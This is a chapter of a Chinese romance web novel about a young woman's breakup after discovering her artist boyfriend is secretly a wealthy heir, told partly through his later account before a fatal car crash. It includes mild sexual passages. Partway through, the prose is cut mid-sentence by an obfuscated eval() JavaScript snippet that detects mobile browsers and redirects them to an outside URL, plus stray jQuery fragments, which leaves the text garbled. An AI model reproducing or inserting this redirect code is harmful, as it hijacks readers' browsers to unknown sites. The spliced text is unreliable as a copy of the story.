谢千琅好一会儿没有说话。


    手里的茶盅热了又冷，她垂着眼，长长的睫毛遮住瞳孔，看不出什么表情。


    蒋越坐在对面，把一口气叹得百转千回。


    末了，问她：“千琅，我知道这会儿不该问，但有件事我实在好奇，你们当初为什么分手？”


    这句话宋昭也曾经问过她。


    在宋昭那个日益拥挤的工作室里，再一次收留用过长的睡眠逃避现实的谢千琅后，宋昭终于忍不住问她：“你们为什么分手？”


    明明生活已经向好的方向发展了不是吗？


    谢千琅的工作逐渐步入正轨，傅闻礼偶尔卖出一幅画，这个时候他们会一起在大众点评做攻略，然后坐地铁穿越大半个城市，拖着手吃遍美食荒漠里难得有些好评的三元桥、望京和北新桥，去找那些不贵但难找的小馆子打牙祭。


    傅闻礼来接她下班时，两个人最常去一家离她工作室不远的日式拉面店，老板是个在中国住了十多年的日本人，普通话还是不好，连说带比划地问他们：方不方便拍一个合影，放在店铺推门进来的小黑板上做广告。


    老板笑眯眯地举着宝丽来，用怪腔怪调的中文评价：“因为二位吃东西的时候看起来很幸福。”


    凭借那张合照，他们获得终身9折特权。


    终日奔波，这是少有的能让谢千琅真切感觉到自己还热爱生活的时刻。


    搬出群租房正式同居后，傅闻礼开始学习做饭。


    谢千琅特别恶趣味地选了一个粉色围裙，每次看到傅闻礼在厨房里穿好粉色围裙，慢条斯理地挽着袖子备菜时，她都会在旁边乐不可支，心里细小的喜悦像灶台上炖盅里不断咕噜咕噜冒出的气泡。


    会在隔音不好的房间里做''爱。


    傅闻礼接吻时很凶，在床上也很凶，所有沉重的喘息、呢喃和细碎的呻''吟都被动消失在交缠的唇齿间，被他尽数吞下去。


    傅闻礼喜欢在做的时候捏着谢千琅的腰，一遍又一遍不厌其烦的跟她确认：“喜欢我么？”


    “真的喜欢我吗？”


    “无论怎样都会喜欢我吗？”


    谢千琅忙着喘顾不上回答时，傅闻礼的动作就会越来越磨人，直到她忙不迭给出肯定回答，眼尾绯红地骂他：“你明明知道答案，每次都要问，烦不烦人？”


    傅闻礼挨完骂就会笑着俯下身吻她，然后用鼻尖蹭着谢千琅的鼻尖没什么诚意地道歉：“抱歉，我只是有点儿没安全感。”


    道完歉，下次还是照旧。


    谢千琅谈恋爱谈得飘飘然，在八百年不更新一条的朋友圈里暗搓搓秀恩爱，照片上两只骨节分明的手握在一起，不露脸都看得出登对。


    宋昭在评论里发一堆省略号，问她：“你都初中毕业多少年了还记得吗？”


    谢千琅回以中指emoji。


    父母知道她谈了恋爱，家里的电话隔天就打过来，千雯瑛语气吞吞吐吐小心翼翼地问：“那个男生是什么职业啊，小琅？”


    在谢千琅回北京前，父母曾经用一种“你先脱离苦海”的大义凛然给她介绍相亲，对方是她不记得名字的中学同学，毕业就继承家业的小开。


    谢千琅想来想去，不知道该怎么向父母介绍傅闻礼，只含糊说：“是个搞艺术的，大帅哥。”


    千雯瑛声音里充满欲言又止的忧心：“帅不能当饭吃啊孩子，而且搞艺术的有了上顿没下顿的，养自己都够呛。”


    谢千琅站在客厅讲电话，书房的门没关，傅闻礼正在画架旁专心画画，灯光从头顶倾泻下来，给他整个人都镀上一层光晕。


    感觉到谢千琅的注视，傅闻礼侧头看过来，很轻地弯了一下唇角。


    啧。


    谢千琅心想，妈你真的不懂，不过说不定你看到就懂了。


    “等过年我带他回去给你看看，”谢千琅笑着说：“到时候再说吧。”


    “怎么能随便往家里带呢？”谢巍听了一会儿终于忍不住加入对话：“这些搞艺术的漂亮男人最会骗人你知道吧。”


    谢千琅无所谓地笑：“哎呀老爸你醒醒，我们家还有什么好骗的啊。”


    谢巍想想也是，不说话了。


    谢千琅挂了电话，跑进书房毫无负罪感地打断作画揪着漂亮男人的衣领接吻。


    她那时候天马行空地想，别说傅闻礼时不时就能赚个大的，就算他一分不挣，在家里养这么一个帅哥也挺好的，有谢千琅一口吃的他就饿不死。


    这种设想让谢千琅有了一种微妙的心理优越感，每天出门工作跟傅闻礼接吻道别的时候，都觉得自己像出门打猎的雌性狼王，而傅闻礼是被她挑中的小白脸。


    冬天到来时，地铁出站口多了卖烤红薯和糖炒栗子的小推车，整条街的空气里都飘着热乎乎的甜香。


    本来定在今晚的部门聚餐因为组长有事临时推迟，谢千琅还没来得及告诉傅闻礼，先接起了爸妈打的电话，在烤红薯的小摊儿前排起长队的时候，她听到了一个好消息。


    “经侦的工作人员打电话说，老板在香港出关的时候被抓了，”谢巍的声音苍老了许多，还是止不住笑意：“几笔没来得及洗出去的钱也被冻结了，虽然现在还不知道能清退多少，但是好歹今年这个年能好过一点儿了。”


    他还嘱咐谢千琅：“你要跟人家小帅哥说清楚咱家的状况知道吗？不好一直瞒着人家的。”


    谢千琅拎着烤红薯，像拎着外出捕猎的战利品，脚步轻快地往家走，“好啦好啦，我知道的，我会跟他说清楚的。”


    就今天好了，顺便告诉傅闻礼她的家乡除夕夜可以放烟花，问他要不要跟她回去过年。


    “所以为什么要分手，明明生活真的在向好的方向转弯了。”


    林燕惟对着门牌号核对再三，才按响门铃。


    他是傅闻礼的校友，毕业后进了傅氏的法务部做上市并购，最近在跟傅氏集团子公司蜚声科技的IPO项目。


    本来他和傅闻礼的碰面都会找个附近的咖啡厅，但是今天事情比较急，接电话的时候傅闻礼想了一下，跟他说：“那你过来吧，我还要给女朋友煮解酒汤。”


    房门打开，林燕惟先闻到空气中山楂和陈皮的香气，傅闻礼身上的围裙还没解下来，林燕惟瞠目结舌，像见了鬼。


    傅闻礼抓着门把手，冷着一张脸，没什么表情地看他。


    “闻礼，你现在怎么这么……”林燕惟思考再三，斟酌道：“贤惠？”


    傅闻礼没理他的打趣，转头抛下一句：“记得换鞋。”


    林燕惟跟在傅闻礼身后进入房间，面积很小的两居室，一览无余的构造，但是被人用心布置成温馨模样，玄关处的鞋柜上放了鲜切百合，还摆了两个人的合照。


    他进了书房，从文件袋里拿出IPO项目建议书和签字页递给傅闻礼，跟他讲蜚声科技上市的进度。


    林燕惟上学的时候就没正形，说完正事儿，傅闻礼翻看项目建议书内容的时候，他就好奇问他：“说起来，之前你让我找精通金融犯罪的律师是为了什么，金融条线的业务出问题了？”


    “不关集团的事，”傅闻礼皱眉快速签字：“一个外地的集体诉讼，找北京的律师在司法程序上能规范些。”


    “这倒是，”林燕惟颇为认同的点点头，笑着说：“小地方司法环境太差了，北京的律师动不动就曝光投诉的专克这帮人，不过涉及到大额金融犯罪的话你小心点儿，别闲着没事儿把自己牵涉进去，这里边弯弯绕绕太多了。”


    “嗯。”


    林燕惟倚在书柜上看傅闻礼的画，“你这采风都采了多久了，不会真准备以后把公司交给职业经理人，自己当一个小画家吧？傅叔叔会同意吗？”


    “我管他同不同意，”傅闻礼签完字，把钢笔盖一扣，文件推到林燕惟面前：“他又没到退休年龄。”


    林燕惟看出傅闻礼这是送客的意思，把文件收好，问他：“那你打算玩儿到什么时候？咱们每次交接文件搞得跟地下任务接头一样。”


    傅闻礼被他逗得摇摇头轻笑了一下，余光看到书房门缝外，谢千琅站在那里，不知道站了多久。


    你打算玩儿到什么时候？


    谢千琅站在客厅，有一瞬间，感觉自己好像小丑。手里的塑料袋掉在地上，烤红薯发出软趴趴的坠落声。


    更像了。


    傅闻礼站起身，三两步走过来，蹲下身收拾地上的狼藉，抬起头时脸上带着谢千琅从来没有见过的慌乱，却还强撑着笑意问：“今天怎么这么快就回来了，不是说要聚餐吗？”


    你还没玩儿够吗？


    谢千琅好像这时才找回自己的声音，她低头看着自己的枕边人。


    你应该是傅闻礼，拦住我从我手里拿出刀制止我发疯的人，拉着我在夜深人静的马路上奔跑的人，下雨天怕我踩到脏水会背着我走很远的路的人，在天台唱歌给我听和我相许八十岁的人，在最艰难的时候我一想到你在身边就觉得日子也没有那么难熬的人。


    你是我的枕边人。


    你应该是我最熟悉的人。


    谢千琅听到自己的声音发着抖，很困惑地问：“你是谁？”


    “千琅……”傅闻礼看着她，一时间不知道该怎么回答。


    刚遇到傅闻礼，刚知道傅闻礼是个画家的时候，谢千琅还在心里默默叹过气，宋庄的名气吸引了太多太多有才华的年轻人，前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856582|156441||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赴后继，直到他们用无可挽回的青春成为这个城市久负盛名景观的一部分。


    她没有得到回答，径直走过去打开桌面上的文件夹。


    厚厚的一摞签字页，傅闻礼姓名落款的前缀是：股东签名。


    有意思吗？


    谢千琅感觉人生好像又回到了荒诞的夏天，她推开门的瞬间。


    她以为的抱团取暖和惺惺相惜原来都只是小少爷的一段人生体验，她用自己最低落的人生来完成傅闻礼一场临时起意的采风。


    原来到最后，被景观化的只有她自己。


    听我一遍又一遍说喜欢你的时候得意吗？开心吗？我的痛苦值钱吗？


    好玩儿吗？


    眼泪从谢千琅的眼睛里砸下来，很大的一颗，落在傅闻礼伸过来抱她的手上。


    他顿了一下，好像被烫到。


    “傅闻礼，”谢千琅胡乱抹了一把脸，把纸页丢回去，“我不要喜欢你了。”


    “后来我也想过，”无数次想过，谢千琅冲蒋越轻声笑了下：“如果是其他场景下被告知，或者是他主动跟我解释，我会不会跟他分手，结论还是会分开。”


    “我就是靠一些东西活着的，那点儿可怜的东西有人称之为心气儿，有人称之为骄傲，”谢千琅说：“我没办法说。”


    她就是靠着这点儿骄傲活着的，要不然她在刚毕业叫天天不应叫地地不灵的时候，在被黑心公司骗着拉去酒宴的时候，在无能为力的看着身边人一步步沉没在沼泽里的时候，在更多无能为力的时候……


    她早就被这个巨大的城市吃掉了。


    谢千琅无论丢掉什么都不能丢掉那点儿可怜的骄傲。


    只是，只是在宋昭家昏天黑地睡了几天后，谢千琅突然没头没脑地说了句：“你知道吗，我们家那儿过年可以放烟花。”


    本来想带你一起去看的，可能你也看不上眼吧。


    -


    “她其实很难追的。”


    在木质香薰和暖黄色灯光的包围下，傅闻礼冷戾的眉眼也因为陷入回忆而变得温柔。


    “我第一次见她还是在南锣鼓巷，她那会儿还没毕业，一大群年轻人中间，她最耀眼。”


    “路过的人都在看她，有人上去搭讪，她表面上笑眯眯地拒绝，转过头就不耐烦的皱鼻子，”傅闻礼闷声笑：“样子特逗。”


    “又碰见她是在三里屯的一个酒吧，我在路边抽烟打电话，她应该是推门出来换气，看到有人抽烟瞪我一眼转头就走，”傅闻礼笑着摇摇头：“跑得特别快，都没来得及问她叫什么名字。”


    后来他听到动静，拧开那扇薄薄的门，看到她出现在自己面前，浑身是汗，脸因为热和脱水变得通红，比梦境更真实地冲自己笑。


    再后来在那个忽明忽暗的楼梯间，他知道她叫什么名字。


    大千世界，琳琅满目，而她是那块像玉的石头，满不在乎地用未磨平的棱角和整个世界相撞。


    “我想过无论用什么方法，一定会再遇到她，但是没想到会在这种情景下遇到她，从开头就错了，”傅闻礼自嘲地笑笑：“但后来再想，她可能只会爱上这种情境下的我，即使那根本不是完全真实的我。”


    你会在人生低谷里爱上一个世俗意义中高高在上的人吗？即使这个人是以救赎的姿态朝你伸出手来。


    有人或许可以，但谢千琅不会。


    傅闻礼其实能理解一些不足为外人道的幽微时刻。


    他们牵着手穿过夏天潮热黏腻的风时，他们相携走过深秋一重冷过一重的雨时，用力交握的双手会让她觉得——这世上并非只有我会陷入沼泽，有一个人还在陪我。


    “是我太卑劣了，我沉浸于这种满心满眼的被依赖感，即使是我偷来的。”


    这就是他所有不安全感的来源，一次又一次的向谢千琅询证也无法削减的不安全感。


    靴子总会落地，猎枪总会击发，密密麻麻的悔恨无时不刻折返上来折磨他。


    最痛苦的时刻是在除夕前，他收到短信，是购票平台的登机提醒，目的地是谢千琅的家乡，大概是她偷偷买过票忘记取消。


    怎样都联系不到谢千琅的时候，这成了傅闻礼的救命稻草，再赶去机场已经来不及，他慌忙开着车前往目的地。


    谢千琅坐的航班起飞的时候，身边的座位空着，机舱里的人听从机组的广播关闭了网络，发生在高速路上的重大事故成了信息流里被忽略的部分。


    “可能是年轻的时候做事太绝遭了报应，”故事已经快要讲到尾声，傅闻礼讲话太多，闷声轻咳：“看到车撞过来的时候，我满脑子都在想，还没想好怎么跟她解释呢。”


    “真遗憾。”